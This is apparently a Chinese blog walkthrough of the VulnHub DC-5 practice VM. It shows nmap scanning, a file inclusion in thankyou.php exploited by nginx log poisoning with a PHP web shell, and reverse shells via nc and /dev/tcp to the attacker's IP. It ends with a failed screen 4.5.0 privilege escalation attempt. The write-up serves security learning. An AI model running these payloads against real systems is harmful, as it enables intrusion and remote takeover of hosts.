vulnhub-DC-5
DC-5靶场下载地址:https://www.five86.com/downloads/DC-5.zip
只需要下载,然后用VM打开,把网络配置改成net即可
第一步:发现主机
方式一:使用nmap进行网段扫描和端口扫描
网段扫描,主机是否在线:
1 | nmap -T4 -sP 192.168.220.0/24 -oN nmap220.sP |
端口扫描,发现运行的服务:
1 | nmap -A -T4 192.168.153.143 -p- -oN 143.A |
方式二:使用fscan
(没有扫全端口)
综合考虑,经过排除,可以看到192.168.153.143
就是我们的靶机了(我同时开了个centos)
一共开放了三个端口
1 | 80 |
web打点
访问一下80端口
这里有一些输入框,随便输一些东西进去试试
提交后到达这个页面
然后接下来就是一个神奇的思路了(不看wp我真想不出来
通过刷新此页面,可以看到下面Copyright © 2018
一直在变,这里可以知道是文件包含(我也不知道为什么)
知道有文件包含之后,就得fuzz出参数了(这里就不fuzz,直接就是手动file
了,用arjun
也不太方便,因为页面内容一直变化,影响判断)
包含一下passwd
读shadow
发现读不到,判断是权限不够,不是root账号
然后接下来就是读dc用户的ssh
,history
,发现都没有
等等!这byd是个文件包含,不是任意文件读取,能做得事情更多
我们先读取nginx
配置文件:/etc/nginx/nginx.conf
小技巧,选择并右键查看源代码,这样更有可阅性,不会乱成一团
然后查找nginx日志位置
看到了
尝试在UA头发送一句话木马并包含
发送命令:
1 | http://192.168.153.143/thankyou.php?file=../../../../../../../../var/log/nginx/access.log&1=ls |
成功getshell
但到这里不知道为什么webshell工具都突然发dian了,连接不上,又因为这个日志文件太大了,所以我想重新上个马,直接touch
创建不了,因为权限不够
所以了php来创建(请记住我写的这个sb代码,直接把日志文件给搞下线了(原因不明
当我以为靶机坏了的时候,我打开我的xhell准备关闭,但一看
OHHHHH!
刚才反弹shell还剩个命令行(很难受的一个命令行窗口,不能任意操作)
所以我准备利用这个命令行来创建一个新马,首先查看id
,发现是www-data
权限,在网站目录下创建文件夹失败
我们可以先查看一下哪些文件夹普通用户有权限写入
1 | ls -l / #看一下根目录 |
发现这个tmp目录权限挺高的
1 | echo "<?php eval(system(\$_POST[b]));?>" > /tmp/6.txt |
直接创建一个文件
这样就重新连上了(但是webshell依然没搞定)
然后又回到刚才那个难受的窗口,学到了个新技巧切换到shell外壳(可以接收交互式shell)
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
补充一下那个难受的反弹shell,但没办法,因为发送请求时用sh -i >& /dev/tcp/192.168.153.138/8888 0>&1
的话&
会被误以为请求参数的连接符
所以使用了:
1 | nc -c sh 192.168.153.138 8888 |
提权
权限太低了,很多操作都被限制了,提升一下权限。
1 | 将可以提权的命令输出到/tmp/1.txt |
查看
发现screen-4.5.0
在kali上查找可用于screen 4.5.0的漏洞脚本文件
1 | searchsploit screen 4.5.0 |
PS:searchsploit
是一款在exp仓库中搜索可用exp的工具
查看一下exp:
1 | cat /usr/share/exploitdb/exploits/linux/local/41154.sh |
- 创建第一个文件,并复制一下代码块
1 | vi libhax.c |
- 创建第二个文件,复制第二个代码块
1 | vi rootshell.c |
- 编译文件
1 | gcc -fPIC -shared -ldl -o libhax.so libhax.c |
接下来就是把exp发送到靶机
kali开启服务
切换到tmp目录并下载exp
1 | cd /tmp |
最后就是执行exp的最后一段
1 | cd /etc |
幻想时间:
1
2root@dc-5:id
root现实:
1
2
3
4
5
6www-data@dc-5:/tmp$ ./2.sh
./2.sh
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
Please set a terminal type.
/tmp/rootshell: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by /tmp/rootshell)6,没提权成功,没找到是什么问题,靠